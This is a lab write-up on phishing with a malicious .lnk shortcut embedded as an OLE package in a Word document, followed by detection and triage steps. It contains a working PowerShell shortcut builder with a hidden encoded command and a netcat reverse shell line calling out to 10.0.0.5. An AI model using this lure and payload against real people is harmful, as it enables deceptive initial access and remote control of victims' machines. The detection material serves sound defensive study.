Phishing: OLE + LNK
Phishing, Initial Access using embedded OLE + LNK objects
This lab explores a popular phishing technique where attackers embed .lnk files into the Office documents and camouflage them with Ms Word office icons in order to deceive victims to click and run them.
Creating an .LNK file that will trigger the payload once executed:
$command = 'Start-Process c:\shell.cmd'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
$obj = New-object -comobject wscript.shell
$link = $obj.createshortcut("c:\experiments\ole+lnk\Invoice-FinTech-0900541.lnk")
$link.windowstyle = "7"
$link.targetpath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$link.iconlocation = "C:\Program Files\Windows NT\Accessories\wordpad.exe"
$link.arguments = "-Nop -sta -noni -w hidden -encodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGMAOgBcAHMAaABlAGwAbAAuAGMAbQBkAA=="
$link.save()
Powershell payload will trigger a rudimentary NC reverse shell:
c:\shell.cmd
C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe
Once the above powershell script is executed, an
.LNK shortcut is created:
Let's create a Word document that will contain the malicious shortcut that was created in the previous step:
Let's insert a new object into the document by selecting a
Packageand changing its icon source to a Microsoft Word executable:
Point the package to the .lnk file containing the payload:
Final result:
Victim executing the embedded document. Gets presented with a popup to confirm execution:
Once the victim confirms they want to open the file - the reverse shell comes back to the attacker:
ole.ps1
624B
Text
OLE+LNK Powershell Script
Invoice-FinTech-0900541.lnk
1KB
Binary
Invoice-FinTech-0900541.lnk
Completely not a scam - ole+lnk.docx
14KB
Binary
Phishing: OLE+Lnk MS Word Doc Package
After the payload is triggered, the process ancestry looks as expected - powershell gets spawned by winword, cmd is spawned by powershell..:
Soon after, the powershell gets killed and cmd.exe becomes an orphaned process:
Like in T1137: Phishing - Office Macros, you can use rudimentary tools on your Windows workstation to quickly triage the suspicious Office document. First off, rename the file to a .zip extension and unzip it. Then you can navigate to
word\embeddings and find oleObject.bin file that contains the malicious .lnk:
Then you can do a simple
strings or hexdump against the file and you should immediately see signs of something that should raise your eyebrow(s):hexdump.exe -C .\oleObject1.bin
As an analyst, one should look for
CLSID 00021401-0000-0000-c000-000000000046 in the .bin file, which signifies that the .doc contains an embnedded .lnk file. In our case this can be observed here:
Last modified 4yr ago